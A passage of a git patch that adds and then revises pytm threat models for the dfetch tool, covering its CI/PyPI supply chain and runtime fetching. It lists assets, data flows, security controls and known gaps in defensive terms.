+gh_actions_runner.classification = Classification.RESTRICTED +gh_actions_runner.description = ( + "Microsoft-operated ephemeral runner executing CI/CD workflows. " + "Egress policy is ``audit`` (not ``block``) — exfiltration of secrets is " + "possible if any workflow step is compromised." +) + +pypi = ExternalEntity("EA-05: PyPI / TestPyPI") +pypi.inBoundary = boundary_pypi +pypi.classification = Classification.PUBLIC +pypi.description = ( + "Python Package Index. dfetch is published via OIDC trusted publishing " + "(no long-lived API token). Account takeover or registry compromise " + "would affect every consumer installing dfetch." +) + +# ── Processes ──────────────────────────────────────────────────────────────── + +gh_actions_workflow = Process("GitHub Actions Workflow") +gh_actions_workflow.inBoundary = boundary_github +gh_actions_workflow.description = ( + "CI/CD pipelines: test, build (wheel/msi/deb/rpm), lint, CodeQL, Scorecard, " + "dependency-review, docs, release. " + "All actions pinned by commit SHA. " + "harden-runner used in every workflow (egress: audit only)." +) +gh_actions_workflow.controls.isHardened = ( + True # SHA-pinned actions, persist-credentials:false +) +gh_actions_workflow.controls.providesIntegrity = ( + True # CodeQL + Scorecard + dependency-review +) +gh_actions_workflow.controls.hasAccessControl = True # minimal permissions per workflow + +python_build = Process("Python Build (wheel / sdist)") +python_build.inBoundary = boundary_github +python_build.description = ( + "Runs ``python -m build`` to produce wheel and sdist. " + "Build deps (setuptools, build, fpm, gem) fetched from PyPI/RubyGems without " + "hash pinning. SLSA provenance attestations are generated by the release " + "workflow." +) + +# ── PRIMARY ASSETS ─────────────────────────────────────────────────────────── + +pypi_package = Datastore("PA-04: dfetch PyPI Package") +pypi_package.inBoundary = boundary_pypi +pypi_package.description = ( + "Published wheel and sdist on PyPI (https://pypi.org/project/dfetch/). " + "Published via OIDC trusted publishing — no long-lived API token stored. " + "A machine-readable CycloneDX SBOM is generated during the build and " + "published alongside the release. " + "Compromise of the PyPI account or registry affects every consumer." +) +pypi_package.storesSensitiveData = False +pypi_package.hasWriteAccess = True # publish pipeline writes new releases +pypi_package.isSQL = False +pypi_package.classification = Classification.SENSITIVE +pypi_package.controls.usesCodeSigning = False # no Sigstore/cosign signing + +# ── SUPPORTING ASSETS ──────────────────────────────────────────────────────── + +gh_workflows = Datastore("SA-06: GitHub Actions Workflows") +gh_workflows.inBoundary = boundary_github +gh_workflows.description = ( + "``.github/workflows/*.yml`` — CI/CD configuration checked into the repository. " + "11 workflows: ci, build, run, test, docs, release, python-publish, " + "dependency-review, codeql-analysis, scorecard, devcontainer. " + "A malicious PR that modifies workflows can exfiltrate secrets or publish " + "a backdoored release. " + "Mitigated by: SHA-pinned actions, persist-credentials:false, minimal permissions." +) +gh_workflows.storesSensitiveData = False +gh_workflows.hasWriteAccess = True # PRs can modify .github/workflows/ definitions +gh_workflows.isSQL = False +gh_workflows.classification = Classification.RESTRICTED +gh_workflows.controls.isHardened = True + +oidc_identity = Data( + "SA-07: PyPI OIDC Identity", + description=( + "GitHub OIDC token exchanged for a short-lived PyPI publish credential. " + "No long-lived API token stored. The token is scoped to the GitHub Actions " + "environment named ``pypi``. " + "Risk: if the OIDC issuer or the PyPI trusted-publisher mapping is " + "misconfigured, an attacker could mint a valid publish token." + ), + classification=Classification.SECRET, + isCredentials=True, + isPII=False, + isStored=False, + isDestEncryptedAtRest=False, + isSourceEncryptedAtRest=True, +) + +dfetch_dev_deps = Datastore("SA-09: dfetch Build / Dev Dependencies") +dfetch_dev_deps.inBoundary = boundary_github +dfetch_dev_deps.description = ( + "Python packages installed during CI: setuptools, build, pylint, bandit, " + "mypy, pytest, etc. Ruby gem ``fpm`` for platform builds. " + "CRITICAL GAP: installed via ``pip install .`` and " + "``pip install --upgrade pip build`` without ``--require-hashes``. " + "A compromised PyPI mirror or BGP hijack can substitute malicious build tools. " + "``gem install fpm`` and ``choco install svn/zig`` are also not hash-verified." +) +dfetch_dev_deps.storesSensitiveData = False +dfetch_dev_deps.hasWriteAccess = False +dfetch_dev_deps.isSQL = False +dfetch_dev_deps.classification = Classification.RESTRICTED + +scorecard_results = Datastore("SA-10: OpenSSF Scorecard Results") +scorecard_results.inBoundary = boundary_github +scorecard_results.description = ( + "Weekly OSSF Scorecard SARIF results uploaded to GitHub Code Scanning. " + "Covers: branch-protection, CI-tests, code-review, maintained, packaging, " + "pinned-dependencies, SAST, signed-releases, token-permissions, vulnerabilities, " + "dangerous-workflow, binary-artifacts, fuzzing, license, CII-best-practices, " + "security-policy, webhooks. " + "Suppression or forgery hides supply-chain regressions." +) +scorecard_results.storesSensitiveData = False +scorecard_results.hasWriteAccess = False +scorecard_results.isSQL = False +scorecard_results.classification = Classification.RESTRICTED + +# ── DATA FLOWS ─────────────────────────────────────────────────────────────── + +df11 = Dataflow(contributor, gh_repository, "DF-11: Submit pull request") +df11.description = ( + "External contributor opens a PR against the dfetch repository. " + "Workflow files in ``.github/workflows/`` can be modified by PRs. " + "``ci.yml`` only passes required repository secrets to the test and docs " + "workflows, preventing malicious PR steps from exfiltrating secrets." +) +df11.protocol = "HTTPS" +df11.controls.hasAccessControl = True + +df12 = Dataflow(gh_repository, gh_actions_runner, "DF-12: CI checkout and build") +df12.description = ( + "GitHub Actions checks out source, installs deps, runs tests, lints, builds. " + "``persist-credentials:false`` on all checkout steps. " + "All third-party actions pinned by commit SHA." +) +df12.controls.isHardened = True +df12.controls.providesIntegrity = True + +df13 = Dataflow(gh_actions_runner, pypi, "DF-13: Publish to PyPI (OIDC)") +df13.description = ( + "On release event, wheel/sdist uploaded to PyPI via " + "``pypa/gh-action-pypi-publish``. OIDC trusted publishing: no stored API token. " + "SLSA provenance attestations are generated by the release pipeline." +) +df13.protocol = "HTTPS" +df13.controls.isEncrypted = True +df13.controls.usesCodeSigning = False # no Sigstore/cosign signing on the wheel itself + +df14 = Dataflow(consumer, pypi, "DF-14: pip install dfetch") +df14.description = ( + "Consumer installs dfetch from PyPI. The installed wheel contains the dfetch " + "CLI; the handoff to the runtime-usage model occurs when the consumer invokes " + "dfetch with a manifest." +) +df14.protocol = "HTTPS" +df14.controls.isEncrypted = True + +# ── CONTROLS AND GAPS ──────────────────────────────────────────────────────── + +CONTROLS: list[Control] = [ + # ── Implemented controls ───────────────────────────────────────────────── + Control( + id="C-009", + name="Actions commit-SHA pinning", + assets=["SA-06", "EA-04"], + threats=["DFT-07"], + description=( + "Every third-party GitHub Action is pinned to a full commit SHA, " + "preventing tag-mutable supply-chain substitution." + ), + reference=".github/workflows/*.yml", + ), + Control( + id="C-010", + name="OIDC trusted publishing", + assets=["SA-07", "PA-04"], + threats=["DFT-07"], + description=( + "PyPI publishes via ``pypa/gh-action-pypi-publish`` with " + "``id-token: write`` and no stored long-lived API token." + ), + reference=".github/workflows/python-publish.yml", + ), + Control( + id="C-011", + name="Minimal workflow permissions", + assets=["SA-06"], + threats=["DFT-07"], + description=( + "Each workflow declares only the permissions it requires " + "(default ``contents: read``)." + ), + reference=".github/workflows/*.yml", + ), + Control( + id="C-012", + name="persist-credentials: false", + assets=["SA-02", "EA-03"], + threats=["DFT-07"], + description=( + "All ``actions/checkout`` steps drop the GitHub token from the " + "working tree after checkout." + ), + reference=".github/workflows/*.yml", + ), + Control( + id="C-013", + name="Harden-runner (egress audit)", + assets=["SA-02", "EA-04"], + threats=["DFT-07"], + description=( + "``step-security/harden-runner`` is used in every workflow to audit " + "outbound network connections. Policy is ``audit``, not ``block``." + ), + reference=".github/workflows/*.yml", + ), + Control( + id="C-014", + name="OpenSSF Scorecard", + assets=["EA-03", "SA-10"], + threats=["DFT-07", "DFT-10"], + description=( + "Weekly OSSF Scorecard analysis uploaded to GitHub Code Scanning " + "covers the full set of OpenSSF Scorecard checks." + ), + reference=".github/workflows/scorecard.yml", + ), + Control( + id="C-015", + name="CodeQL static analysis", + assets=["SA-01", "SA-06"], + threats=["DFT-03", "DFT-06"], + description=( + "CodeQL scans the Python codebase for security vulnerabilities on " + "every push and pull request." + ), + reference=".github/workflows/codeql-analysis.yml", + ), + Control( + id="C-016", + name="Dependency review", + assets=["SA-09"], + threats=["DFT-10"], + description=( + "``actions/dependency-review-action`` checks for known vulnerabilities " + "in newly added dependencies on every pull request." + ), + reference=".github/workflows/dependency-review.yml", + ), + Control( + id="C-017", + name="bandit security linter", + assets=["SA-01"], + threats=["DFT-03", "DFT-06"], + description=( + "``bandit -r dfetch`` runs in CI to detect common Python security issues." + ), + reference="pyproject.toml", + ), + Control( + id="C-021", + name="SLSA provenance attestation", + assets=["PA-04"], + threats=["DFT-05"], + description=( + "The release pipeline generates SLSA provenance attestations and " + "Sigstore/cosign signatures for the published wheel. Consumers can " + "verify build provenance." + ), + ), + Control( + id="C-022", + name="CycloneDX SBOM on PyPI", + assets=["PA-04", "PA-05"], + threats=["DFT-02"], + description=( + "A CycloneDX SBOM is generated during the build and published " + "alongside the PyPI release, satisfying CRA Article 13 requirements." + ), + ), + Control( + id="C-024", + name="``secrets: inherit`` scope", + assets=["SA-06", "SA-02"], + threats=["DFT-07"], + description=( + "``ci.yml`` only passes required repository secrets to the test and " + "docs workflows, preventing malicious PR steps from exfiltrating " + "unrelated secrets." + ), + ), + Control( + id="C-025", + name="Harden-runner in audit mode", + assets=["EA-04", "SA-06"], + threats=["DFT-07"], + description=( + "``step-security/harden-runner`` is configured with " + "``egress-policy: audit``. Outbound connections are logged but not " + "blocked — secret exfiltration via a compromised CI step remains possible." + ), + ), + # ── Gaps ───────────────────────────────────────────────────────────────── + Control( + id="C-023", + name="Build deps without hash pinning", + assets=["SA-09"], + threats=["DFT-10"], + status="gap", + description=( + "``pip install .`` and ``pip install --upgrade pip build`` in CI do not " + "use ``--require-hashes``. A compromised PyPI mirror can substitute " + "malicious build tooling." + ), + ), +] + +ASSET_CONTROLS: dict[str, list[Control]] = build_asset_controls_index(CONTROLS) + +if __name__ == "__main__": + tm.process() diff --git a/security/tm_usage.py b/security/tm_usage.py new file mode 100644 index 000000000..e7cab768d --- /dev/null +++ b/security/tm_usage.py @@ -0,0 +1,522 @@ +"""Runtime-usage threat model for dfetch. + +Scope: post-install lifecycle — reading the manifest, fetching dependencies +from VCS and archive sources, applying patches, writing vendored files, and +generating reports (SBOM, SARIF, check output). + +The installed dfetch package (produced by the supply chain modelled in +``tm_supply_chain.py``) is the entry point for this model. + +Run:: + + python -m security.tm_usage --dfd + python -m security.tm_usage --seq + python -m security.tm_usage --report +""" + +import os +import sys + +# Ensure the security package is importable when loaded by Sphinx directive +_repo_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +if _repo_root not in sys.path: + sys.path.insert(0, _repo_root) + +from pytm import ( # noqa: E402, pylint: disable=import-error,wrong-import-position + TM, + Actor, + Boundary, + Classification, + Data, + Dataflow, + Datastore, + ExternalEntity, + Process, +) + +from security.tm_common import ( # noqa: E402, pylint: disable=wrong-import-position + THREATS_FILE, + Control, + build_asset_controls_index, + make_dev_env_boundary, + make_network_boundary, + make_usage_assumptions, +) + +# ── Threat model metadata ──────────────────────────────────────────────────── + +TM.reset() + +tm = TM( + "dfetch Runtime Usage", + description=( + "EN 18031 / CRA runtime-usage threat model for dfetch. " + "Covers the post-install lifecycle: reading the manifest, fetching " + "dependencies from VCS and archive sources, applying patches, writing " + "vendored files, and generating reports (SBOM, SARIF, check output). " + "The installed dfetch package — produced by the supply chain in " + "tm_supply_chain.py — is the entry point." + ), + isOrdered=True, + mergeResponses=True, + threatsFile=THREATS_FILE, +) + +tm.assumptions = make_usage_assumptions() + +# ── Trust boundaries ───────────────────────────────────────────────────────── + +boundary_dev_env = make_dev_env_boundary() +boundary_network = make_network_boundary() + +boundary_remote_vcs = Boundary("Remote VCS Infrastructure") +boundary_remote_vcs.description = ( + "Upstream Git and SVN servers (GitHub, GitLab, Gitea, self-hosted). " + "Not controlled by the dfetch project; content is untrusted until verified." +) + +boundary_archive = Boundary("Archive Content Space") +boundary_archive.description = ( + "Downloaded archive bytes before extraction and validation. " + "Decompression-bomb and path-traversal checks enforce this boundary " + "during extraction." +) + +# ── Actors ─────────────────────────────────────────────────────────────────── + +developer = Actor("Developer") +developer.inBoundary = boundary_dev_env +developer.description = ( + "Writes and reviews ``dfetch.yaml``; selects upstream sources, pins " + "revisions, and optionally enables ``integrity.hash`` for archive " + "dependencies. Trusted at workstation invocation time. " + "Responsible for choosing trustworthy upstream sources and keeping " + "pins current." +) + +# ── External entities ──────────────────────────────────────────────────────── + +remote_git_svn = ExternalEntity("EA-01: Remote VCS Server") +remote_git_svn.inBoundary = boundary_remote_vcs +remote_git_svn.classification = Classification.PUBLIC +remote_git_svn.description = ( + "Upstream Git or SVN host: GitHub, GitLab, Gitea, self-hosted Git/SVN. " + "Not controlled by the dfetch project; content is untrusted until verified." +) + +archive_server = ExternalEntity("EA-02: Archive HTTP Server") +archive_server.inBoundary = boundary_remote_vcs +archive_server.classification = Classification.PUBLIC +archive_server.description = ( + "HTTP/HTTPS server serving ``.tar.gz``, ``.tgz``, ``.tar.bz2``, ``.tar.xz``, " + "or ``.zip`` files. CRITICAL: ``http://`` (non-TLS) URLs are accepted without " + "enforcement of integrity hashes — the ``integrity.hash`` field is optional." +) + +consumer_build = ExternalEntity("EA-07: Consumer Build System") +consumer_build.inBoundary = boundary_dev_env +consumer_build.classification = Classification.RESTRICTED +consumer_build.description = ( + "Build system that compiles fetched source code (PA-02). " + "Not controlled by dfetch — it receives untrusted third-party source." +) + +# ── Processes ──────────────────────────────────────────────────────────────── + +dfetch_cli = Process("SA-01: dfetch Process") +dfetch_cli.inBoundary = boundary_dev_env +dfetch_cli.classification = Classification.RESTRICTED +dfetch_cli.description = ( + "Python CLI entry point dispatching to: update, check, diff, add, remove, " + "patch, format-patch, freeze, import, report, validate, environment. " + "Invokes Git and SVN as subprocesses (``shell=False``, list args). " + "Extracts archives with decompression-bomb limits and path-traversal checks." +) +dfetch_cli.controls.validatesInput = True # StrictYAML + SAFE_STR regex +dfetch_cli.controls.sanitizesInput = True # check_no_path_traversal realpath-based +dfetch_cli.controls.usesParameterizedInput = ( + True # shell=False, list-based subprocesses +) +dfetch_cli.controls.checksInputBounds = True # 500MB / 10k-member archive limits +dfetch_cli.controls.isHardened = True # BatchMode=yes, --non-interactive, type checks +dfetch_cli.controls.providesIntegrity = True # hmac.compare_digest SHA-256/384/512 + +# ── PRIMARY ASSETS ─────────────────────────────────────────────────────────── + +manifest_store = Datastore("PA-01: dfetch Manifest") +manifest_store.inBoundary = boundary_dev_env +manifest_store.description = ( + "``dfetch.yaml`` — declares all upstream sources (URL/VCS type), version pins " + "(branch / tag / revision / SHA), dst paths, patch references, and optional " + "integrity hashes. " + "Tampering redirects fetches to attacker-controlled sources. " + "RISK: ``integrity.hash`` is Optional in schema — archive deps can be declared " + "without any content-authenticity guarantee." +) +manifest_store.storesSensitiveData = True +manifest_store.hasWriteAccess = True +manifest_store.isSQL = False +manifest_store.classification = Classification.SENSITIVE +manifest_store.controls.isEncryptedAtRest = False +manifest_store.controls.validatesInput = True # StrictYAML validation on read + +fetched_source = Datastore("PA-02: Fetched Source Code") +fetched_source.inBoundary = boundary_dev_env +fetched_source.description = ( + "Third-party source code written to the ``dst:`` path after extraction / " + "checkout. Becomes a direct build input for the consuming project. " + "A compromised upstream or MITM can inject malicious code that executes in " + "the consumer's build system, test runner, or production binary." +) +fetched_source.storesSensitiveData = True +fetched_source.hasWriteAccess = True +fetched_source.isSQL = False +fetched_source.classification = Classification.SENSITIVE +fetched_source.controls.isEncryptedAtRest = False + +integrity_hash_record = Datastore("PA-03: Integrity Hash Record") +integrity_hash_record.inBoundary = boundary_dev_env +integrity_hash_record.description = ( + "``integrity.hash:`` field in ``dfetch.yaml`` (sha256/sha384/sha512:). " + "The sole trust anchor for archive-type dependencies. " + "Verified via ``hmac.compare_digest`` (constant-time). " + "CRITICAL GAP: field is Optional — absence disables all content verification. " + "CRITICAL GAP: Git and SVN deps have NO equivalent integrity mechanism; " + "authenticity relies entirely on transport security (TLS/SSH)." +) +integrity_hash_record.storesSensitiveData = False +integrity_hash_record.hasWriteAccess = True +integrity_hash_record.isSQL = False +integrity_hash_record.classification = Classification.SENSITIVE +integrity_hash_record.controls.providesIntegrity = True + +sbom_output = Datastore("PA-05: SBOM Output (CycloneDX)") +sbom_output.inBoundary = boundary_dev_env +sbom_output.description = ( + "CycloneDX JSON/XML produced by ``dfetch report -t sbom``. " + "Enumerates vendored components with PURL, license, and hash. " + "Falsification hides actual dependencies from downstream CVE scanners. " + "NOTE: this SBOM covers vendored deps only — dfetch itself has a separate " + "machine-readable SBOM published on PyPI (see PA-04 in tm_supply_chain.py)." +) +sbom_output.storesSensitiveData = False +sbom_output.hasWriteAccess = True +sbom_output.isSQL = False +sbom_output.classification = Classification.RESTRICTED + +# ── SUPPORTING ASSETS ──────────────────────────────────────────────────────── + +vcs_credentials = Data( + "SA-02: VCS Credentials", + description=( + "SSH private keys, HTTPS Personal Access Tokens, SVN passwords. " + "Used to authenticate to private upstream repositories. " + "dfetch never persists these — managed by OS keychain or CI secret store. " + "Exfiltration via a compromised CI workflow step is the primary risk " + "(harden-runner is in audit mode, not block mode)." + ), + classification=Classification.SECRET, + isCredentials=True, + isPII=False, + isStored=False, + isDestEncryptedAtRest=False, + isSourceEncryptedAtRest=True, +) + +metadata_store = Datastore("SA-03: Dependency Metadata") +metadata_store.inBoundary = boundary_dev_env +metadata_store.description = ( + "``.dfetch_data.yaml`` files written after each successful fetch. " + "Contains: remote_url, revision/branch/tag, hash, last-fetch timestamp. " + "Read by ``dfetch check`` to detect outdated deps. " + "Tampering can suppress update notifications — an attacker who controls the " + "local filesystem can silently mask a compromised vendored dep." +) +metadata_store.storesSensitiveData = False +metadata_store.hasWriteAccess = True +metadata_store.isSQL = False +metadata_store.classification = Classification.RESTRICTED + +patch_store = Datastore("SA-04: Patch Files") +patch_store.inBoundary = boundary_dev_env +patch_store.description = ( + "Unified-diff ``.patch`` files referenced by ``patch:`` in ``dfetch.yaml``. " + "Applied by ``patch-ng`` after fetch. " + "A malicious patch can write to arbitrary destination paths — " + "dfetch's path-traversal guards apply to archive extraction but ``patch-ng``'s " + "own path safety depends on its internal implementation. " + "Patch files are not integrity-verified (no hash in manifest schema)." +) +patch_store.storesSensitiveData = False +patch_store.hasWriteAccess = True +patch_store.isSQL = False +patch_store.classification = Classification.RESTRICTED + +local_vcs_cache = Datastore("SA-05: Local VCS Cache (temp)") +local_vcs_cache.inBoundary = boundary_dev_env +local_vcs_cache.description = ( + "Temporary directory used during git-clone / svn-checkout / archive extraction. " + "Deleted after content is copied to dst. " + "Path-traversal attacks targeting this space are mitigated by " + "``check_no_path_traversal()`` and post-extraction symlink walks." +) +local_vcs_cache.storesSensitiveData = False +local_vcs_cache.hasWriteAccess = True +local_vcs_cache.isSQL = False +local_vcs_cache.classification = Classification.RESTRICTED + +audit_reports = Datastore("SA-08: Audit / Check Reports") +audit_reports.inBoundary = boundary_dev_env +audit_reports.description = ( + "SARIF, Jenkins warnings-ng, Code Climate JSON produced by ``dfetch check``. " + "Falsification hides vulnerabilities from downstream security dashboards." +) +audit_reports.storesSensitiveData = False +audit_reports.hasWriteAccess = True +audit_reports.isSQL = False +audit_reports.classification = Classification.RESTRICTED + +# ── DATA FLOWS ─────────────────────────────────────────────────────────────── + +df01 = Dataflow(developer, dfetch_cli, "DF-01: Invoke dfetch command") +df01.description = "CLI invocation: update / check / diff / report / add etc." + +df02 = Dataflow(manifest_store, dfetch_cli, "DF-02: Read manifest") +df02.description = "StrictYAML parse; SAFE_STR regex rejects control characters." +df02.controls.validatesInput = True + +df03_tls = Dataflow(dfetch_cli, remote_git_svn, "DF-03a: Fetch VCS content — HTTPS/SSH") +df03_tls.description = ( + "``git fetch`` / ``git ls-remote`` over HTTPS or SSH. " + "HTTPS follows up to 10 redirects. SSH enforces ``BatchMode=yes`` and " + "``GIT_TERMINAL_PROMPT=0`` (no credential prompts). SVN over " + "``svn+https://`` or SSH tunnel. Transport is encrypted and host identity " + "verified." +) +df03_tls.protocol = "HTTPS / SSH" +df03_tls.controls.isEncrypted = True +df03_tls.controls.isHardened = True # BatchMode=yes, --non-interactive + +df03_plain = Dataflow( + dfetch_cli, remote_git_svn, "DF-03b: Fetch VCS content — svn:// / http://" +) +df03_plain.description = ( + "``git fetch`` over ``http://`` or SVN over ``svn://`` (plain, non-TLS). " + "dfetch accepts these protocols without enforcement — no TLS check in manifest " + "schema. Traffic is unencrypted; MITM can substitute repository content. " + "RECOMMENDATION: restrict manifest URLs to HTTPS / svn+https:// / SSH." +) +df03_plain.protocol = "http / svn" +df03_plain.controls.isEncrypted = False +df03_plain.controls.isHardened = False + +df04_tls = Dataflow( + remote_git_svn, dfetch_cli, "DF-04a: VCS content inbound — HTTPS/SSH" +) +df04_tls.description = ( + "Repository tree and file content over HTTPS or SSH. Transport is encrypted. " + "No end-to-end content hash for Git or SVN — authenticity relies on transport " + "security and upstream repository integrity." +) +df04_tls.protocol = "HTTPS / SSH" +df04_tls.controls.isEncrypted = True +df04_tls.controls.providesIntegrity = False # no end-to-end hash for git/svn content + +df04_plain = Dataflow( + remote_git_svn, dfetch_cli, "DF-04b: VCS content inbound — svn:// / http://" +) +df04_plain.description = ( + "Repository content over unencrypted ``http://`` or ``svn://``. " + "A network-positioned attacker can substitute arbitrary content without " + "detection — no transport encryption and no content hash." +) +df04_plain.protocol = "http / svn" +df04_plain.controls.isEncrypted = False +df04_plain.controls.providesIntegrity = False + +df05 = Dataflow(dfetch_cli, archive_server, "DF-05: Archive download request") +df05.description = ( + "HTTP GET to archive URL. Follows up to 10 3xx redirects. " + "RISK: ``http://`` (non-TLS) URLs accepted — request and response are " + "unencrypted." +) +df05.protocol = "HTTP or HTTPS" +df05.controls.isEncrypted = False # not guaranteed; http:// accepted + +df06 = Dataflow(archive_server, dfetch_cli, "DF-06: Archive bytes (untrusted)") +df06.description = ( + "Raw archive bytes streamed into dfetch. " + "Hash computed in-flight when ``integrity.hash`` is specified. " + "CRITICAL: when ``integrity.hash`` is absent, no content verification occurs." +) +df06.protocol = "HTTP or HTTPS" +df06.controls.providesIntegrity = False # hash is optional; may be absent +df06.controls.isEncrypted = False # http:// allowed + +df07 = Dataflow(dfetch_cli, fetched_source, "DF-07: Write vendored files") +df07.description = ( + "Post-validation copy to dst path. Path-traversal checked via " + "``check_no_path_traversal()``. Symlinks validated post-extraction." +) +df07.controls.sanitizesInput = True +df07.controls.providesIntegrity = False # conditional on hash presence in DF-05/06 + +df08 = Dataflow(dfetch_cli, metadata_store, "DF-08: Write dependency metadata") +df08.description = "Writes ``.dfetch_data.yaml`` tracking remote_url, revision, hash." + +df09 = Dataflow(dfetch_cli, sbom_output, "DF-09: Write SBOM") +df09.description = "CycloneDX BOM generation from metadata store contents." + +df10 = Dataflow(patch_store, dfetch_cli, "DF-10: Read and apply patch") +df10.description = ( + "``patch-ng`` reads unified-diff file and applies to vendor directory. " + "RISK: patch files are not integrity-verified (no hash in manifest schema). " + "``patch-ng`` path safety depends on its own internal implementation." +) +df10.controls.validatesInput = False # no integrity hash on patch files + +df15 = Dataflow(fetched_source, consumer_build, "DF-15: Vendored source to build") +df15.description = ( + "Fetched and patched source code consumed by the project build system. " + "The build system receives third-party source whose integrity depends on " + "the controls applied during DF-05 through DF-10." +) + +# ── CONTROLS AND GAPS ──────────────────────────────────────────────────────── + +CONTROLS: list[Control] = [ + # ── Implemented controls ───────────────────────────────────────────────── + Control( + id="C-001", + name="Path-traversal prevention", + assets=["PA-02", "SA-05"], + threats=["DFT-03"], + description=( + "``check_no_path_traversal()`` resolves both the candidate path and the " + "destination root via ``os.path.realpath`` (symlink-aware), then rejects " + "any path whose resolved prefix does not start with the resolved root. " + "Applied to every file copy and post-extraction symlink." + ), + reference="dfetch/util/util.py", + ), + Control( + id="C-002", + name="Decompression-bomb protection", + assets=["SA-05", "PA-02"], + threats=["DFT-09"], + description=( + "Archives are rejected if the uncompressed size exceeds 500 MB or the " + "member count exceeds 10 000." + ), + reference="dfetch/vcs/archive.py", + ), + Control( + id="C-003", + name="Archive symlink validation", + assets=["PA-02"], + threats=["DFT-03"], + description=( + "Absolute and escaping (``..``) symlink targets are rejected for both " + "TAR and ZIP. A post-extraction walk validates all symlinks against " + "the manifest root." + ), + reference="dfetch/vcs/archive.py", + ), + Control( + id="C-004", + name="Archive member type checks", + assets=["PA-02", "SA-05"], + threats=["DFT-03"], + description=( + "TAR and ZIP members of type device file or FIFO are rejected outright." + ), + reference="dfetch/vcs/archive.py", + ), + Control( + id="C-005", + name="Integrity hash verification", + assets=["PA-02", "PA-03"], + threats=["DFT-01", "DFT-02", "DFT-05"], + description=( + "SHA-256, SHA-384, and SHA-512 verified via ``hmac.compare_digest`` " + "(constant-time comparison, resistant to timing attacks)." + ), + reference="dfetch/vcs/integrity_hash.py", + ), + Control( + id="C-006", + name="Non-interactive VCS", + assets=["SA-02", "EA-01"], + threats=["DFT-06"], + description=( + "``GIT_TERMINAL_PROMPT=0``, ``BatchMode=yes`` for Git; " + "``--non-interactive`` for SVN. Credential prompts are suppressed to " + "prevent interactive hijacking in CI." + ), + reference="dfetch/vcs/git.py, dfetch/vcs/svn.py", + ), + Control( + id="C-007", + name="Subprocess safety", + assets=["SA-01"], + threats=["DFT-06"], + description=( + "All external commands invoked with ``shell=False`` and list-form " + "arguments — no shell-injection vector." + ), + reference="dfetch/util/cmdline.py", + ), + Control( + id="C-008", + name="Manifest input validation", + assets=["PA-01"], + threats=["DFT-04", "DFT-08"], + description=( + r'StrictYAML schema with ``SAFE_STR = Regex(r"^[^\x00-\x1F\x7F-\x9F]*$")`` ' + "rejects control characters in all string fields." + ), + reference="dfetch/manifest/schema.py", + ), + # ── Gaps ───────────────────────────────────────────────────────────────── + Control( + id="C-018", + name="Optional integrity hash", + assets=["PA-02", "PA-03"], + threats=["DFT-01", "DFT-02"], + status="gap", + description=( + "``integrity.hash`` in the manifest is optional. Archive dependencies " + "without it have no content-authenticity guarantee. Plain ``http://`` " + "URLs receive no protection at all." + ), + ), + Control( + id="C-019", + name="No integrity mechanism for Git/SVN", + assets=["PA-02", "PA-03"], + threats=["DFT-02", "DFT-05"], + status="gap", + description=( + "Git and SVN dependencies carry no equivalent to ``integrity.hash``. " + "Authenticity relies entirely on transport security (TLS or SSH). " + "Mutable references (branch, tag) can silently fetch different content " + "after an upstream force-push." + ), + ), + Control( + id="C-020", + name="No patch-file integrity", + assets=["SA-04", "PA-02"], + threats=["DFT-08"], + status="gap", + description=( + "Patch files referenced in the manifest carry no integrity hash. A " + "tampered patch can write to arbitrary paths through ``patch-ng``." + ), + ), +] + +ASSET_CONTROLS: dict[str, list[Control]] = build_asset_controls_index(CONTROLS) + +if __name__ == "__main__": + tm.process() From c50989d7472c032f8d65f2234214f1ee298fc6c5 Mon Sep 17 00:00:00 2001 From: Ben Spoor Date: Sat, 2 May 2026 17:46:47 +0200 Subject: [PATCH 26/28] update models --- security/tm_common.py | 7 ++++--- security/tm_supply_chain.py | 30 ++++++++++++++++-------------- security/tm_usage.py | 5 ++--- 3 files changed, 22 insertions(+), 20 deletions(-) diff --git a/security/tm_common.py b/security/tm_common.py index 55f29517e..c24ad479f 100644 --- a/security/tm_common.py +++ b/security/tm_common.py @@ -106,10 +106,11 @@ def make_supply_chain_assumptions() -> list[Assumption]: ), ), Assumption( - "Harden-runner in audit mode", + "Harden-runner in block mode", description=( - "The ``harden-runner`` egress policy is set to ``audit``, not ``block``. " - "Outbound network connections from CI runners are logged but not prevented." + "The ``harden-runner`` egress policy is set to ``block`` with an " + "allowlist of permitted endpoints. Outbound network connections from " + "CI runners are blocked unless explicitly permitted." ), ), Assumption( diff --git a/security/tm_supply_chain.py b/security/tm_supply_chain.py index d50f97f42..4d38b86ad 100644 --- a/security/tm_supply_chain.py +++ b/security/tm_supply_chain.py @@ -66,8 +66,9 @@ boundary_github = Boundary("GitHub Actions Infrastructure") boundary_github.description = ( "Microsoft-operated ephemeral runners executing the CI/CD workflows. " - "Semi-trusted: egress is audited (``harden-runner``) but not blocked; " - "secrets are propagated via ``secrets: inherit`` in ``ci.yml``." + "Egress traffic is blocked (``harden-runner`` with ``egress-policy: block``) " + "with an allowlist of permitted endpoints; secrets are propagated via " + "``secrets: inherit`` in ``ci.yml``." ) boundary_pypi = Boundary("PyPI / TestPyPI") @@ -269,11 +270,11 @@ df13.description = ( "On release event, wheel/sdist uploaded to PyPI via " "``pypa/gh-action-pypi-publish``. OIDC trusted publishing: no stored API token. " - "SLSA provenance attestations are generated by the release pipeline." + "SBOM attestations with Sigstore signatures are generated by the release pipeline." ) df13.protocol = "HTTPS" df13.controls.isEncrypted = True -df13.controls.usesCodeSigning = False # no Sigstore/cosign signing on the wheel itself +df13.controls.usesCodeSigning = True # SBOM attestation via actions/attest df14 = Dataflow(consumer, pypi, "DF-14: pip install dfetch") df14.description = ( @@ -334,12 +335,13 @@ ), Control( id="C-013", - name="Harden-runner (egress audit)", + name="Harden-runner (egress block)", assets=["SA-02", "EA-04"], threats=["DFT-07"], description=( - "``step-security/harden-runner`` is used in every workflow to audit " - "outbound network connections. Policy is ``audit``, not ``block``." + "``step-security/harden-runner`` is used in every workflow with " + "``egress-policy: block`` and an allowlist of permitted endpoints. " + "All non-allowlisted outbound connections are blocked." ), reference=".github/workflows/*.yml", ), @@ -388,13 +390,13 @@ ), Control( id="C-021", - name="SLSA provenance attestation", + name="Sigstore SBOM attestation", assets=["PA-04"], threats=["DFT-05"], description=( - "The release pipeline generates SLSA provenance attestations and " - "Sigstore/cosign signatures for the published wheel. Consumers can " - "verify build provenance." + "The release pipeline generates CycloneDX SBOM attestations via " + "``actions/attest`` with Sigstore signatures. These attest the build " + "provenance for the published packages." ), ), Control( @@ -420,13 +422,13 @@ ), Control( id="C-025", - name="Harden-runner in audit mode", 